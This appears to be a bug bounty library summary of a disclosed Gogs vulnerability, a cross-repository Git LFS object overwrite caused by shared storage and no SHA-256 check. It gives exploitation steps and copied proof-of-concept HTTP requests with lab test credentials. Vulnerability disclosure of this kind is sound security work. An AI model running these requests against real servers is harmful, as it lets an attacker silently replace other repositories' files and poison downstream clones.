# Gogs: Cross-repository LFS object overwrite via missing content hash verification

Gogs stores all LFS objects in one shared path and never verifies uploaded content against its claimed SHA-256, so any user can overwrite another repo's LFS object with a backdoored file.

- Payout: Research
- Severity: critical
- Program: Gogs
- Found by: zjuchenyuan
- Disclosed: 2026-03-05
- CVE: CVE-2026-25921
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-cj4v-437j-jq4c
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-cj4v-437j-jq4c
- Tags: area:web domain:web impact:integrity impact:mass-exploit kind:research platform:ghsa sev:critical tech:go technique:source-review vuln:access-control vuln:business-logic

**Target:** Git LFS batch/basic upload endpoints (/info/lfs/objects/basic/{oid})
**Root cause:** LFS objects are stored in a single global path with no per-repository isolation, and the upload handler trusts the client-claimed oid without recomputing/verifying the SHA-256 of the uploaded bytes.
**Steps:**
1. Authenticate as any user and POST to `/<owner>/<repo>.git/info/lfs/objects/batch` with `{"operation": "upload", "objects": [{"oid": "<victim_oid>", "size": <n>}], "ref": {"name": "refs/heads/master"}}` to obtain upload/verify hrefs
2. PUT the attacker-controlled bytes to `/<attacker>/<repo>.git/info/lfs/objects/basic/<victim_oid>` with `Content-Type: application/octet-stream`
3. POST to `/<attacker>/<repo>.git/info/lfs/objects/basic/verify` with `{"oid": "<victim_oid>", "size": <n>}`
4. Fetch `/<victim>/<repo>.git/info/lfs/objects/basic/<victim_oid>` as the victim and observe the replaced content
**How found:** Code review of internal/lfsutil/storage.go showed the storage path omits repo id, and the upload path never recomputes SHA-256; a comment in route/lfs/basic.go trusting clients to retry uploads revealed the overwrite assumption breaks with a malicious client.
**Exploitation:** Any authenticated user uploads a file under another repository's LFS oid; because storage is shared and the hash is never checked, the victim repo's LFS object is silently replaced with attacker content, poisoning clones/downloads (supply-chain).
**Insight:** When a content-addressed store keys objects only by client-supplied hash, check whether the server ever recomputes the digest and whether the path includes a tenant/repo scope — either omission turns any write into a cross-tenant overwrite primitive.

## Proof of concept (copied exactly from the original report)

**Attacker overwrites another repo's LFS object**

```
PUT http://172.29.121.170:3000/user2/public.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a
Content-Type: application/octet-stream
Accept: application/vnd.git-lfs+json
Authorization: Basic dXNlcjI6NTRmZGU5ZmI3YjdmOTQ0MmM3MzY4ODhlMWIyNjZmMWE4MzAyMzE5NQ==

response:  <Response [200]>
```

**Verify overwritten content via GET**

```
curl http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a -H "Authorization: Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI=" -i
HTTP/1.1 200 OK
Content-Length: 1048576
Connection: keep-alive
Content-Type: application/octet-stream
Date: Thu, 28 Nov 2024 14:01:53 GMT
Keep-Alive: timeout=4
Proxy-Connection: keep-alive
Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647

curl: (18) transfer closed with 1048563 bytes remaining to read
2222 replaced
```

**Legitimate LFS batch upload request**

```
POST http://172.29.121.170/admin1/testlfs.git/info/lfs/objects/batch
User-Agent: git-lfs/3.0.2 (GitHub; linux amd64; go 1.17.2)
Accept-Encoding: gzip, deflate, br
Accept: application/vnd.git-lfs+json
Connection: keep-alive
Content-Type: application/vnd.git-lfs+json
Authorization: Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI=
Content-Length: 168

{"operation": "upload", "objects": [{"oid": "5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a", "size": 1048576}], "ref": {"name": "refs/heads/master"}}
```

